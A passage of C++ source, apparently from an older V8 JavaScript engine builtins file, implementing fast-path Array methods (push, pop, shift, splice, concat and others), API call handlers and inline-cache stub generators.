number_of_elements, ALLOW_CONVERTED_DOUBLE_ELEMENTS); if (maybe_object->IsFailure()) return maybe_object; // Allocate an appropriately typed elements array. MaybeObject* maybe_elms; ElementsKind elements_kind = array->GetElementsKind(); if (IsFastDoubleElementsKind(elements_kind)) { maybe_elms = heap->AllocateUninitializedFixedDoubleArray( number_of_elements); } else { maybe_elms = heap->AllocateFixedArrayWithHoles(number_of_elements); } FixedArrayBase* elms; if (!maybe_elms->To<FixedArrayBase>(&elms)) return maybe_elms; // Fill in the content switch (array->GetElementsKind()) { case FAST_HOLEY_SMI_ELEMENTS: case FAST_SMI_ELEMENTS: { FixedArray* smi_elms = FixedArray::cast(elms); for (int index = 0; index < number_of_elements; index++) { smi_elms->set(index, (*args)[index+1], SKIP_WRITE_BARRIER); } break; } case FAST_HOLEY_ELEMENTS: case FAST_ELEMENTS: { AssertNoAllocation no_gc; WriteBarrierMode mode = elms->GetWriteBarrierMode(no_gc); FixedArray* object_elms = FixedArray::cast(elms); for (int index = 0; index < number_of_elements; index++) { object_elms->set(index, (*args)[index+1], mode); } break; } case FAST_HOLEY_DOUBLE_ELEMENTS: case FAST_DOUBLE_ELEMENTS: { FixedDoubleArray* double_elms = FixedDoubleArray::cast(elms); for (int index = 0; index < number_of_elements; index++) { double_elms->set(index, (*args)[index+1]->Number()); } break; } default: UNREACHABLE(); break; } array->set_elements(elms); array->set_length(Smi::FromInt(number_of_elements)); return array; } BUILTIN(InternalArrayCodeGeneric) { return ArrayCodeGenericCommon( &args, isolate, isolate->context()->native_context()->internal_array_function()); } BUILTIN(ArrayCodeGeneric) { return ArrayCodeGenericCommon( &args, isolate, isolate->context()->native_context()->array_function()); } static void MoveElements(Heap* heap, AssertNoAllocation* no_gc, FixedArray* dst, int dst_index, FixedArray* src, int src_index, int len) { if (len == 0) return; ASSERT(dst->map() != HEAP->fixed_cow_array_map()); memmove(dst->data_start() + dst_index, src->data_start() + src_index, len * kPointerSize); WriteBarrierMode mode = dst->GetWriteBarrierMode(*no_gc); if (mode == UPDATE_WRITE_BARRIER) { heap->RecordWrites(dst->address(), dst->OffsetOfElementAt(dst_index), len); } heap->incremental_marking()->RecordWrites(dst); } static void FillWithHoles(Heap* heap, FixedArray* dst, int from, int to) { ASSERT(dst->map() != heap->fixed_cow_array_map()); MemsetPointer(dst->data_start() + from, heap->the_hole_value(), to - from); } static FixedArray* LeftTrimFixedArray(Heap* heap, FixedArray* elms, int to_trim) { ASSERT(elms->map() != HEAP->fixed_cow_array_map()); // For now this trick is only applied to fixed arrays in new and paged space. // In large object space the object's start must coincide with chunk // and thus the trick is just not applicable. ASSERT(!HEAP->lo_space()->Contains(elms)); STATIC_ASSERT(FixedArray::kMapOffset == 0); STATIC_ASSERT(FixedArray::kLengthOffset == kPointerSize); STATIC_ASSERT(FixedArray::kHeaderSize == 2 * kPointerSize); Object** former_start = HeapObject::RawField(elms, 0); const int len = elms->length(); if (to_trim > FixedArray::kHeaderSize / kPointerSize && !heap->new_space()->Contains(elms)) { // If we are doing a big trim in old space then we zap the space that was // formerly part of the array so that the GC (aided by the card-based // remembered set) won't find pointers to new-space there. Object** zap = reinterpret_cast<Object**>(elms->address()); zap++; // Header of filler must be at least one word so skip that. for (int i = 1; i < to_trim; i++) { *zap++ = Smi::FromInt(0); } } // Technically in new space this write might be omitted (except for // debug mode which iterates through the heap), but to play safer // we still do it. heap->CreateFillerObjectAt(elms->address(), to_trim * kPointerSize); former_start[to_trim] = heap->fixed_array_map(); former_start[to_trim + 1] = Smi::FromInt(len - to_trim); // Maintain marking consistency for HeapObjectIterator and // IncrementalMarking. int size_delta = to_trim * kPointerSize; if (heap->marking()->TransferMark(elms->address(), elms->address() + size_delta)) { MemoryChunk::IncrementLiveBytesFromMutator(elms->address(), -size_delta); } HEAP_PROFILE(heap, ObjectMoveEvent(elms->address(), elms->address() + size_delta)); return FixedArray::cast(HeapObject::FromAddress( elms->address() + to_trim * kPointerSize)); } static bool ArrayPrototypeHasNoElements(Heap* heap, Context* native_context, JSObject* array_proto) { // This method depends on non writability of Object and Array prototype // fields. if (array_proto->elements() != heap->empty_fixed_array()) return false; // Object.prototype Object* proto = array_proto->GetPrototype(); if (proto == heap->null_value()) return false; array_proto = JSObject::cast(proto); if (array_proto != native_context->initial_object_prototype()) return false; if (array_proto->elements() != heap->empty_fixed_array()) return false; return array_proto->GetPrototype()->IsNull(); } MUST_USE_RESULT static inline MaybeObject* EnsureJSArrayWithWritableFastElements( Heap* heap, Object* receiver, Arguments* args, int first_added_arg) { if (!receiver->IsJSArray()) return NULL; JSArray* array = JSArray::cast(receiver); HeapObject* elms = array->elements(); Map* map = elms->map(); if (map == heap->fixed_array_map()) { if (args == NULL || array->HasFastObjectElements()) return elms; if (array->HasFastDoubleElements()) { ASSERT(elms == heap->empty_fixed_array()); MaybeObject* maybe_transition = array->TransitionElementsKind(FAST_ELEMENTS); if (maybe_transition->IsFailure()) return maybe_transition; return elms; } } else if (map == heap->fixed_cow_array_map()) { MaybeObject* maybe_writable_result = array->EnsureWritableFastElements(); if (args == NULL || array->HasFastObjectElements() || maybe_writable_result->IsFailure()) { return maybe_writable_result; } } else { return NULL; } // Need to ensure that the arguments passed in args can be contained in // the array. int args_length = args->length(); if (first_added_arg >= args_length) return array->elements(); MaybeObject* maybe_array = array->EnsureCanContainElements( args, first_added_arg, args_length - first_added_arg, DONT_ALLOW_DOUBLE_ELEMENTS); if (maybe_array->IsFailure()) return maybe_array; return array->elements(); } static inline bool IsJSArrayFastElementMovingAllowed(Heap* heap, JSArray* receiver) { if (!FLAG_clever_optimizations) return false; Context* native_context = heap->isolate()->context()->native_context(); JSObject* array_proto = JSObject::cast(native_context->array_function()->prototype()); return receiver->GetPrototype() == array_proto && ArrayPrototypeHasNoElements(heap, native_context, array_proto); } MUST_USE_RESULT static MaybeObject* CallJsBuiltin( Isolate* isolate, const char* name, BuiltinArguments<NO_EXTRA_ARGUMENTS> args) { HandleScope handleScope(isolate); Handle<Object> js_builtin = GetProperty(Handle<JSObject>(isolate->native_context()->builtins()), name); Handle<JSFunction> function = Handle<JSFunction>::cast(js_builtin); int argc = args.length() - 1; ScopedVector<Handle<Object> > argv(argc); for (int i = 0; i < argc; ++i) { argv[i] = args.at<Object>(i + 1); } bool pending_exception; Handle<Object> result = Execution::Call(function, args.receiver(), argc, argv.start(), &pending_exception); if (pending_exception) return Failure::Exception(); return *result; } BUILTIN(ArrayPush) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); Object* elms_obj; { MaybeObject* maybe_elms_obj = EnsureJSArrayWithWritableFastElements(heap, receiver, &args, 1); if (maybe_elms_obj == NULL) { return CallJsBuiltin(isolate, "ArrayPush", args); } if (!maybe_elms_obj->ToObject(&elms_obj)) return maybe_elms_obj; } FixedArray* elms = FixedArray::cast(elms_obj); JSArray* array = JSArray::cast(receiver); int len = Smi::cast(array->length())->value(); int to_add = args.length() - 1; if (to_add == 0) { return Smi::FromInt(len); } // Currently fixed arrays cannot grow too big, so // we should never hit this case. ASSERT(to_add <= (Smi::kMaxValue - len)); int new_length = len + to_add; if (new_length > elms->length()) { // New backing storage is needed. int capacity = new_length + (new_length >> 1) + 16; Object* obj; { MaybeObject* maybe_obj = heap->AllocateUninitializedFixedArray(capacity); if (!maybe_obj->ToObject(&obj)) return maybe_obj; } FixedArray* new_elms = FixedArray::cast(obj); ElementsKind kind = array->GetElementsKind(); CopyObjectToObjectElements(elms, kind, 0, new_elms, kind, 0, len); FillWithHoles(heap, new_elms, new_length, capacity); elms = new_elms; } // Add the provided values. AssertNoAllocation no_gc; WriteBarrierMode mode = elms->GetWriteBarrierMode(no_gc); for (int index = 0; index < to_add; index++) { elms->set(index + len, args[index + 1], mode); } if (elms != array->elements()) { array->set_elements(elms); } // Set the length. array->set_length(Smi::FromInt(new_length)); return Smi::FromInt(new_length); } BUILTIN(ArrayPop) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); Object* elms_obj; { MaybeObject* maybe_elms_obj = EnsureJSArrayWithWritableFastElements(heap, receiver, NULL, 0); if (maybe_elms_obj == NULL) return CallJsBuiltin(isolate, "ArrayPop", args); if (!maybe_elms_obj->ToObject(&elms_obj)) return maybe_elms_obj; } FixedArray* elms = FixedArray::cast(elms_obj); JSArray* array = JSArray::cast(receiver); int len = Smi::cast(array->length())->value(); if (len == 0) return heap->undefined_value(); // Get top element MaybeObject* top = elms->get(len - 1); // Set the length. array->set_length(Smi::FromInt(len - 1)); if (!top->IsTheHole()) { // Delete the top element. elms->set_the_hole(len - 1); return top; } top = array->GetPrototype()->GetElement(len - 1); return top; } BUILTIN(ArrayShift) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); Object* elms_obj; { MaybeObject* maybe_elms_obj = EnsureJSArrayWithWritableFastElements(heap, receiver, NULL, 0); if (maybe_elms_obj == NULL) return CallJsBuiltin(isolate, "ArrayShift", args); if (!maybe_elms_obj->ToObject(&elms_obj)) return maybe_elms_obj; } if (!IsJSArrayFastElementMovingAllowed(heap, JSArray::cast(receiver))) { return CallJsBuiltin(isolate, "ArrayShift", args); } FixedArray* elms = FixedArray::cast(elms_obj); JSArray* array = JSArray::cast(receiver); ASSERT(array->HasFastSmiOrObjectElements()); int len = Smi::cast(array->length())->value(); if (len == 0) return heap->undefined_value(); // Get first element Object* first = elms->get(0); if (first->IsTheHole()) { first = heap->undefined_value(); } if (!heap->lo_space()->Contains(elms)) { array->set_elements(LeftTrimFixedArray(heap, elms, 1)); } else { // Shift the elements. AssertNoAllocation no_gc; MoveElements(heap, &no_gc, elms, 0, elms, 1, len - 1); elms->set(len - 1, heap->the_hole_value()); } // Set the length. array->set_length(Smi::FromInt(len - 1)); return first; } BUILTIN(ArrayUnshift) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); Object* elms_obj; { MaybeObject* maybe_elms_obj = EnsureJSArrayWithWritableFastElements(heap, receiver, NULL, 0); if (maybe_elms_obj == NULL) return CallJsBuiltin(isolate, "ArrayUnshift", args); if (!maybe_elms_obj->ToObject(&elms_obj)) return maybe_elms_obj; } if (!IsJSArrayFastElementMovingAllowed(heap, JSArray::cast(receiver))) { return CallJsBuiltin(isolate, "ArrayUnshift", args); } FixedArray* elms = FixedArray::cast(elms_obj); JSArray* array = JSArray::cast(receiver); ASSERT(array->HasFastSmiOrObjectElements()); int len = Smi::cast(array->length())->value(); int to_add = args.length() - 1; int new_length = len + to_add; // Currently fixed arrays cannot grow too big, so // we should never hit this case. ASSERT(to_add <= (Smi::kMaxValue - len)); MaybeObject* maybe_object = array->EnsureCanContainElements(&args, 1, to_add, DONT_ALLOW_DOUBLE_ELEMENTS); if (maybe_object->IsFailure()) return maybe_object; if (new_length > elms->length()) { // New backing storage is needed. int capacity = new_length + (new_length >> 1) + 16; Object* obj; { MaybeObject* maybe_obj = heap->AllocateUninitializedFixedArray(capacity); if (!maybe_obj->ToObject(&obj)) return maybe_obj; } FixedArray* new_elms = FixedArray::cast(obj); ElementsKind kind = array->GetElementsKind(); CopyObjectToObjectElements(elms, kind, 0, new_elms, kind, to_add, len); FillWithHoles(heap, new_elms, new_length, capacity); elms = new_elms; array->set_elements(elms); } else { AssertNoAllocation no_gc; MoveElements(heap, &no_gc, elms, to_add, elms, 0, len); } // Add the provided values. AssertNoAllocation no_gc; WriteBarrierMode mode = elms->GetWriteBarrierMode(no_gc); for (int i = 0; i < to_add; i++) { elms->set(i, args[i + 1], mode); } // Set the length. array->set_length(Smi::FromInt(new_length)); return Smi::FromInt(new_length); } BUILTIN(ArraySlice) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); FixedArray* elms; int len = -1; if (receiver->IsJSArray()) { JSArray* array = JSArray::cast(receiver); if (!array->HasFastSmiOrObjectElements() || !IsJSArrayFastElementMovingAllowed(heap, array)) { return CallJsBuiltin(isolate, "ArraySlice", args); } elms = FixedArray::cast(array->elements()); len = Smi::cast(array->length())->value(); } else { // Array.slice(arguments, ...) is quite a common idiom (notably more // than 50% of invocations in Web apps). Treat it in C++ as well. Map* arguments_map = isolate->context()->native_context()->arguments_boilerplate()->map(); bool is_arguments_object_with_fast_elements = receiver->IsJSObject() && JSObject::cast(receiver)->map() == arguments_map && JSObject::cast(receiver)->HasFastSmiOrObjectElements(); if (!is_arguments_object_with_fast_elements) { return CallJsBuiltin(isolate, "ArraySlice", args); } elms = FixedArray::cast(JSObject::cast(receiver)->elements()); Object* len_obj = JSObject::cast(receiver) ->InObjectPropertyAt(Heap::kArgumentsLengthIndex); if (!len_obj->IsSmi()) { return CallJsBuiltin(isolate, "ArraySlice", args); } len = Smi::cast(len_obj)->value(); if (len > elms->length()) { return CallJsBuiltin(isolate, "ArraySlice", args); } for (int i = 0; i < len; i++) { if (elms->get(i) == heap->the_hole_value()) { return CallJsBuiltin(isolate, "ArraySlice", args); } } } ASSERT(len >= 0); int n_arguments = args.length() - 1; // Note carefully choosen defaults---if argument is missing, // it's undefined which gets converted to 0 for relative_start // and to len for relative_end. int relative_start = 0; int relative_end = len; if (n_arguments > 0) { Object* arg1 = args[1]; if (arg1->IsSmi()) { relative_start = Smi::cast(arg1)->value(); } else if (!arg1->IsUndefined()) { return CallJsBuiltin(isolate, "ArraySlice", args); } if (n_arguments > 1) { Object* arg2 = args[2]; if (arg2->IsSmi()) { relative_end = Smi::cast(arg2)->value(); } else if (!arg2->IsUndefined()) { return CallJsBuiltin(isolate, "ArraySlice", args); } } } // ECMAScript 232, 3rd Edition, Section 15.4.4.10, step 6. int k = (relative_start < 0) ? Max(len + relative_start, 0) : Min(relative_start, len); // ECMAScript 232, 3rd Edition, Section 15.4.4.10, step 8. int final = (relative_end < 0) ? Max(len + relative_end, 0) : Min(relative_end, len); ElementsKind elements_kind = JSObject::cast(receiver)->GetElementsKind(); // Calculate the length of result array. int result_len = Max(final - k, 0); MaybeObject* maybe_array = heap->AllocateJSArrayAndStorage(elements_kind, result_len, result_len); JSArray* result_array; if (!maybe_array->To(&result_array)) return maybe_array; CopyObjectToObjectElements(elms, elements_kind, k, FixedArray::cast(result_array->elements()), elements_kind, 0, result_len); return result_array; } BUILTIN(ArraySplice) { Heap* heap = isolate->heap(); Object* receiver = *args.receiver(); Object* elms_obj; { MaybeObject* maybe_elms_obj = EnsureJSArrayWithWritableFastElements(heap, receiver, &args, 3); if (maybe_elms_obj == NULL) return CallJsBuiltin(isolate, "ArraySplice", args); if (!maybe_elms_obj->ToObject(&elms_obj)) return maybe_elms_obj; } if (!IsJSArrayFastElementMovingAllowed(heap, JSArray::cast(receiver))) { return CallJsBuiltin(isolate, "ArraySplice", args); } FixedArray* elms = FixedArray::cast(elms_obj); JSArray* array = JSArray::cast(receiver); ASSERT(array->HasFastSmiOrObjectElements()); int len = Smi::cast(array->length())->value(); int n_arguments = args.length() - 1; int relative_start = 0; if (n_arguments > 0) { Object* arg1 = args[1]; if (arg1->IsSmi()) { relative_start = Smi::cast(arg1)->value(); } else if (!arg1->IsUndefined()) { return CallJsBuiltin(isolate, "ArraySplice", args); } } int actual_start = (relative_start < 0) ? Max(len + relative_start, 0) : Min(relative_start, len); // SpiderMonkey, TraceMonkey and JSC treat the case where no delete count is // given as a request to delete all the elements from the start. // And it differs from the case of undefined delete count. // This does not follow ECMA-262, but we do the same for // compatibility. int actual_delete_count; if (n_arguments == 1) { ASSERT(len - actual_start >= 0); actual_delete_count = len - actual_start; } else { int value = 0; // ToInteger(undefined) == 0 if (n_arguments > 1) { Object* arg2 = args[2]; if (arg2->IsSmi()) { value = Smi::cast(arg2)->value(); } else { return CallJsBuiltin(isolate, "ArraySplice", args); } } actual_delete_count = Min(Max(value, 0), len - actual_start); } JSArray* result_array = NULL; ElementsKind elements_kind = JSObject::cast(receiver)->GetElementsKind(); MaybeObject* maybe_array = heap->AllocateJSArrayAndStorage(elements_kind, actual_delete_count, actual_delete_count); if (!maybe_array->To(&result_array)) return maybe_array; { // Fill newly created array. CopyObjectToObjectElements(elms, elements_kind, actual_start, FixedArray::cast(result_array->elements()), elements_kind, 0, actual_delete_count); } int item_count = (n_arguments > 1) ? (n_arguments - 2) : 0; int new_length = len - actual_delete_count + item_count; bool elms_changed = false; if (item_count < actual_delete_count) { // Shrink the array. const bool trim_array = !heap->lo_space()->Contains(elms) && ((actual_start + item_count) < (len - actual_delete_count - actual_start)); if (trim_array) { const int delta = actual_delete_count - item_count; { AssertNoAllocation no_gc; MoveElements(heap, &no_gc, elms, delta, elms, 0, actual_start); } elms = LeftTrimFixedArray(heap, elms, delta); elms_changed = true; } else { AssertNoAllocation no_gc; MoveElements(heap, &no_gc, elms, actual_start + item_count, elms, actual_start + actual_delete_count, (len - actual_delete_count - actual_start)); FillWithHoles(heap, elms, new_length, len); } } else if (item_count > actual_delete_count) { // Currently fixed arrays cannot grow too big, so // we should never hit this case. ASSERT((item_count - actual_delete_count) <= (Smi::kMaxValue - len)); // Check if array need to grow. if (new_length > elms->length()) { // New backing storage is needed. int capacity = new_length + (new_length >> 1) + 16; Object* obj; { MaybeObject* maybe_obj = heap->AllocateUninitializedFixedArray(capacity); if (!maybe_obj->ToObject(&obj)) return maybe_obj; } FixedArray* new_elms = FixedArray::cast(obj); { // Copy the part before actual_start as is. ElementsKind kind = array->GetElementsKind(); CopyObjectToObjectElements(elms, kind, 0, new_elms, kind, 0, actual_start); const int to_copy = len - actual_delete_count - actual_start; CopyObjectToObjectElements(elms, kind, actual_start + actual_delete_count, new_elms, kind, actual_start + item_count, to_copy); } FillWithHoles(heap, new_elms, new_length, capacity); elms = new_elms; elms_changed = true; } else { AssertNoAllocation no_gc; MoveElements(heap, &no_gc, elms, actual_start + item_count, elms, actual_start + actual_delete_count, (len - actual_delete_count - actual_start)); } } AssertNoAllocation no_gc; WriteBarrierMode mode = elms->GetWriteBarrierMode(no_gc); for (int k = actual_start; k < actual_start + item_count; k++) { elms->set(k, args[3 + k - actual_start], mode); } if (elms_changed) { array->set_elements(elms); } // Set the length. array->set_length(Smi::FromInt(new_length)); return result_array; } BUILTIN(ArrayConcat) { Heap* heap = isolate->heap(); Context* native_context = isolate->context()->native_context(); JSObject* array_proto = JSObject::cast(native_context->array_function()->prototype()); if (!ArrayPrototypeHasNoElements(heap, native_context, array_proto)) { return CallJsBuiltin(isolate, "ArrayConcat", args); } // Iterate through all the arguments performing checks // and calculating total length. int n_arguments = args.length(); int result_len = 0; ElementsKind elements_kind = GetInitialFastElementsKind(); for (int i = 0; i < n_arguments; i++) { Object* arg = args[i]; if (!arg->IsJSArray() || !JSArray::cast(arg)->HasFastSmiOrObjectElements() || JSArray::cast(arg)->GetPrototype() != array_proto) { return CallJsBuiltin(isolate, "ArrayConcat", args); } int len = Smi::cast(JSArray::cast(arg)->length())->value(); // We shouldn't overflow when adding another len. const int kHalfOfMaxInt = 1 << (kBitsPerInt - 2); STATIC_ASSERT(FixedArray::kMaxLength < kHalfOfMaxInt); USE(kHalfOfMaxInt); result_len += len; ASSERT(result_len >= 0); if (result_len > FixedArray::kMaxLength) { return CallJsBuiltin(isolate, "ArrayConcat", args); } if (!JSArray::cast(arg)->HasFastSmiElements()) { if (IsFastSmiElementsKind(elements_kind)) { if (IsFastHoleyElementsKind(elements_kind)) { elements_kind = FAST_HOLEY_ELEMENTS; } else { elements_kind = FAST_ELEMENTS; } } } if (JSArray::cast(arg)->HasFastHoleyElements()) { elements_kind = GetHoleyElementsKind(elements_kind); } } // Allocate result. JSArray* result_array; MaybeObject* maybe_array = heap->AllocateJSArrayAndStorage(elements_kind, result_len, result_len); if (!maybe_array->To(&result_array)) return maybe_array; if (result_len == 0) return result_array; // Copy data. int start_pos = 0; FixedArray* result_elms(FixedArray::cast(result_array->elements())); for (int i = 0; i < n_arguments; i++) { JSArray* array = JSArray::cast(args[i]); int len = Smi::cast(array->length())->value(); FixedArray* elms = FixedArray::cast(array->elements()); CopyObjectToObjectElements(elms, elements_kind, 0, result_elms, elements_kind, start_pos, len); start_pos += len; } ASSERT(start_pos == result_len); return result_array; } // ----------------------------------------------------------------------------- // Strict mode poison pills BUILTIN(StrictModePoisonPill) { HandleScope scope; return isolate->Throw(*isolate->factory()->NewTypeError( "strict_poison_pill", HandleVector<Object>(NULL, 0))); } // ----------------------------------------------------------------------------- // // Returns the holder JSObject if the function can legally be called // with this receiver. Returns Heap::null_value() if the call is // illegal. Any arguments that don't fit the expected type is // overwritten with undefined. Arguments that do fit the expected // type is overwritten with the object in the prototype chain that // actually has that type. static inline Object* TypeCheck(Heap* heap, int argc, Object** argv, FunctionTemplateInfo* info) { Object* recv = argv[0]; // API calls are only supported with JSObject receivers. if (!recv->IsJSObject()) return heap->null_value(); Object* sig_obj = info->signature(); if (sig_obj->IsUndefined()) return recv; SignatureInfo* sig = SignatureInfo::cast(sig_obj); // If necessary, check the receiver Object* recv_type = sig->receiver(); Object* holder = recv; if (!recv_type->IsUndefined()) { for (; holder != heap->null_value(); holder = holder->GetPrototype()) { if (holder->IsInstanceOf(FunctionTemplateInfo::cast(recv_type))) { break; } } if (holder == heap->null_value()) return holder; } Object* args_obj = sig->args(); // If there is no argument signature we're done if (args_obj->IsUndefined()) return holder; FixedArray* args = FixedArray::cast(args_obj); int length = args->length(); if (argc <= length) length = argc - 1; for (int i = 0; i < length; i++) { Object* argtype = args->get(i); if (argtype->IsUndefined()) continue; Object** arg = &argv[-1 - i]; Object* current = *arg; for (; current != heap->null_value(); current = current->GetPrototype()) { if (current->IsInstanceOf(FunctionTemplateInfo::cast(argtype))) { *arg = current; break; } } if (current == heap->null_value()) *arg = heap->undefined_value(); } return holder; } template <bool is_construct> MUST_USE_RESULT static MaybeObject* HandleApiCallHelper( BuiltinArguments<NEEDS_CALLED_FUNCTION> args, Isolate* isolate) { ASSERT(is_construct == CalledAsConstructor(isolate)); Heap* heap = isolate->heap(); HandleScope scope(isolate); Handle<JSFunction> function = args.called_function(); ASSERT(function->shared()->IsApiFunction()); FunctionTemplateInfo* fun_data = function->shared()->get_api_func_data(); if (is_construct) { Handle<FunctionTemplateInfo> desc(fun_data, isolate); bool pending_exception = false; isolate->factory()->ConfigureInstance( desc, Handle<JSObject>::cast(args.receiver()), &pending_exception); ASSERT(isolate->has_pending_exception() == pending_exception); if (pending_exception) return Failure::Exception(); fun_data = *desc; } Object* raw_holder = TypeCheck(heap, args.length(), &args[0], fun_data); if (raw_holder->IsNull()) { // This function cannot be called with the given receiver. Abort! Handle<Object> obj = isolate->factory()->NewTypeError( "illegal_invocation", HandleVector(&function, 1)); return isolate->Throw(*obj); } Object* raw_call_data = fun_data->call_code(); if (!raw_call_data->IsUndefined()) { CallHandlerInfo* call_data = CallHandlerInfo::cast(raw_call_data); Object* callback_obj = call_data->callback(); v8::InvocationCallback callback = v8::ToCData<v8::InvocationCallback>(callback_obj); Object* data_obj = call_data->data(); Object* result; LOG(isolate, ApiObjectAccess("call", JSObject::cast(*args.receiver()))); ASSERT(raw_holder->IsJSObject()); CustomArguments custom(isolate); v8::ImplementationUtilities::PrepareArgumentsData(custom.end(), isolate, data_obj, *function, raw_holder); v8::Arguments new_args = v8::ImplementationUtilities::NewArguments( custom.end(), &args[0] - 1, args.length() - 1, is_construct); v8::Handle<v8::Value> value; { // Leaving JavaScript. VMState state(isolate, EXTERNAL); ExternalCallbackScope call_scope(isolate, v8::ToCData<Address>(callback_obj)); value = callback(new_args); } if (value.IsEmpty()) { result = heap->undefined_value(); } else { result = *reinterpret_cast<Object**>(*value); result->VerifyApiCallResultType(); } RETURN_IF_SCHEDULED_EXCEPTION(isolate); if (!is_construct || result->IsJSObject()) return result; } return *args.receiver(); } BUILTIN(HandleApiCall) { return HandleApiCallHelper<false>(args, isolate); } BUILTIN(HandleApiCallConstruct) { return HandleApiCallHelper<true>(args, isolate); } // Helper function to handle calls to non-function objects created through the // API. The object can be called as either a constructor (using new) or just as // a function (without new). MUST_USE_RESULT static MaybeObject* HandleApiCallAsFunctionOrConstructor( Isolate* isolate, bool is_construct_call, BuiltinArguments<NO_EXTRA_ARGUMENTS> args) { // Non-functions are never called as constructors. Even if this is an object // called as a constructor the delegate call is not a construct call. ASSERT(!CalledAsConstructor(isolate)); Heap* heap = isolate->heap(); Handle<Object> receiver = args.receiver(); // Get the object called. JSObject* obj = JSObject::cast(*receiver); // Get the invocation callback from the function descriptor that was // used to create the called object. ASSERT(obj->map()->has_instance_call_handler()); JSFunction* constructor = JSFunction::cast(obj->map()->constructor()); ASSERT(constructor->shared()->IsApiFunction()); Object* handler = constructor->shared()->get_api_func_data()->instance_call_handler(); ASSERT(!handler->IsUndefined()); CallHandlerInfo* call_data = CallHandlerInfo::cast(handler); Object* callback_obj = call_data->callback(); v8::InvocationCallback callback = v8::ToCData<v8::InvocationCallback>(callback_obj); // Get the data for the call and perform the callback. Object* result; { HandleScope scope(isolate); LOG(isolate, ApiObjectAccess("call non-function", obj)); CustomArguments custom(isolate); v8::ImplementationUtilities::PrepareArgumentsData(custom.end(), isolate, call_data->data(), constructor, obj); v8::Arguments new_args = v8::ImplementationUtilities::NewArguments( custom.end(), &args[0] - 1, args.length() - 1, is_construct_call); v8::Handle<v8::Value> value; { // Leaving JavaScript. VMState state(isolate, EXTERNAL); ExternalCallbackScope call_scope(isolate, v8::ToCData<Address>(callback_obj)); value = callback(new_args); } if (value.IsEmpty()) { result = heap->undefined_value(); } else { result = *reinterpret_cast<Object**>(*value); result->VerifyApiCallResultType(); } } // Check for exceptions and return result. RETURN_IF_SCHEDULED_EXCEPTION(isolate); return result; } // Handle calls to non-function objects created through the API. This delegate // function is used when the call is a normal function call. BUILTIN(HandleApiCallAsFunction) { return HandleApiCallAsFunctionOrConstructor(isolate, false, args); } // Handle calls to non-function objects created through the API. This delegate // function is used when the call is a construct call. BUILTIN(HandleApiCallAsConstructor) { return HandleApiCallAsFunctionOrConstructor(isolate, true, args); } static void Generate_LoadIC_ArrayLength(MacroAssembler* masm) { LoadIC::GenerateArrayLength(masm); } static void Generate_LoadIC_StringLength(MacroAssembler* masm) { LoadIC::GenerateStringLength(masm, false); } static void Generate_LoadIC_StringWrapperLength(MacroAssembler* masm) { LoadIC::GenerateStringLength(masm, true); } static void Generate_LoadIC_FunctionPrototype(MacroAssembler* masm) { LoadIC::GenerateFunctionPrototype(masm); } static void Generate_LoadIC_Initialize(MacroAssembler* masm) { LoadIC::GenerateInitialize(masm); } static void Generate_LoadIC_PreMonomorphic(MacroAssembler* masm) { LoadIC::GeneratePreMonomorphic(masm); } static void Generate_LoadIC_Miss(MacroAssembler* masm) { LoadIC::GenerateMiss(masm); } static void Generate_LoadIC_Megamorphic(MacroAssembler* masm) { LoadIC::GenerateMegamorphic(masm); } static void Generate_LoadIC_Normal(MacroAssembler* masm) { LoadIC::GenerateNormal(masm); } static void Generate_LoadIC_Getter_ForDeopt(MacroAssembler* masm) { LoadStubCompiler::GenerateLoadViaGetter(masm, Handle<JSFunction>()); } static void Generate_KeyedLoadIC_Initialize(MacroAssembler* masm) { KeyedLoadIC::GenerateInitialize(masm); } static void Generate_KeyedLoadIC_Slow(MacroAssembler* masm) { KeyedLoadIC::GenerateRuntimeGetProperty(masm); } static void Generate_KeyedLoadIC_Miss(MacroAssembler* masm) { KeyedLoadIC::GenerateMiss(masm, false); } static void Generate_KeyedLoadIC_MissForceGeneric(MacroAssembler* masm) { KeyedLoadIC::GenerateMiss(masm, true); } static void Generate_KeyedLoadIC_Generic(MacroAssembler* masm) { KeyedLoadIC::GenerateGeneric(masm); } static void Generate_KeyedLoadIC_String(MacroAssembler* masm) { KeyedLoadIC::GenerateString(masm); } static void Generate_KeyedLoadIC_PreMonomorphic(MacroAssembler* masm) { KeyedLoadIC::GeneratePreMonomorphic(masm); } static void Generate_KeyedLoadIC_IndexedInterceptor(MacroAssembler* masm) { KeyedLoadIC::GenerateIndexedInterceptor(masm); } static void Generate_KeyedLoadIC_NonStrictArguments(MacroAssembler* masm) { KeyedLoadIC::GenerateNonStrictArguments(masm); } static void Generate_StoreIC_Initialize(MacroAssembler* masm) { StoreIC::GenerateInitialize(masm); } static void Generate_StoreIC_Initialize_Strict(MacroAssembler* masm) { StoreIC::GenerateInitialize(masm); } static void Generate_StoreIC_Miss(MacroAssembler* masm) { StoreIC::GenerateMiss(masm); } static void Generate_StoreIC_Normal(MacroAssembler* masm) { StoreIC::GenerateNormal(masm); } static void Generate_StoreIC_Normal_Strict(MacroAssembler* masm) { StoreIC::GenerateNormal(masm); } static void Generate_StoreIC_Megamorphic(MacroAssembler* masm) { StoreIC::GenerateMegamorphic(masm, kNonStrictMode); } static void Generate_StoreIC_Megamorphic_Strict(MacroAssembler* masm) { StoreIC::GenerateMegamorphic(masm, kStrictMode); } static void Generate_StoreIC_ArrayLength(MacroAssembler* masm) { StoreIC::GenerateArrayLength(masm); } static void Generate_StoreIC_ArrayLength_Strict(MacroAssembler* masm) { StoreIC::GenerateArrayLength(masm); } static void Generate_StoreIC_GlobalProxy(MacroAssembler* masm) { StoreIC::GenerateGlobalProxy(masm, kNonStrictMode); } static void Generate_StoreIC_GlobalProxy_Strict(MacroAssembler* masm) { StoreIC::GenerateGlobalProxy(masm, kStrictMode); } static void Generate_StoreIC_Setter_ForDeopt(MacroAssembler* masm) { StoreStubCompiler::GenerateStoreViaSetter(masm, Handle<JSFunction>()); } static void Generate_KeyedStoreIC_Generic(MacroAssembler* masm) { KeyedStoreIC::GenerateGeneric(masm, kNonStrictMode); } static void Generate_KeyedStoreIC_Generic_Strict(MacroAssembler* masm) { KeyedStoreIC::GenerateGeneric(masm, kStrictMode); } static void Generate_KeyedStoreIC_Miss(MacroAssembler* masm) { KeyedStoreIC::GenerateMiss(masm, false); } static void 